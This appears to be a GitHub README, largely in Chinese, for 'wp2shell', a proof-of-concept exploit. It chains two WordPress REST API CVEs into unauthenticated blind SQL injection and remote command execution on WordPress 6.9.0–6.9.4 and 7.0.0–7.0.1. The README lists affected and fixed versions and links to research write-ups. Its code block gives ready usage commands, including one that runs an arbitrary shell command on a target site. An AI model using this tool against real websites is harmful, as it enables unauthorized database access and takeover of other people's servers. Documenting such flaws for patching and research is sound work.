sergiointel/wp2shell-poc

# wp2shell PoC 首个针对 WordPress REST API batch-route 混淆链（[CVE-2026-63030](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q) + [CVE-2026-60137](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf)）的未授权时间盲注 SQL injection PoC。 实现了命令执行，而无需仅尝试破解管理员密码。 **受影响版本：** WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1。已在 6.9.5 和 7.0.2 中修复。 ``` python3 poc.py https://target.example python3 poc.py https://target.example 'SELECT DATABASE()' python3 poc.py https://target.example -c "echo "you got pwned" > /tmp/pwned.txt && id" ``` **研究：** [Searchlight Cyber](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core) · [Aikido](https://www.aikido.dev/blog/unauthenticated-rce-in-wordpress-wp2shell) · [Aikido Intel](https://intel.aikido.dev/cve/AIKIDO-2026-696183) · [WordPress](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)

标签：CISA项目, WordPress, 安全漏洞, 编程工具, 远程代码执行, 逆向工具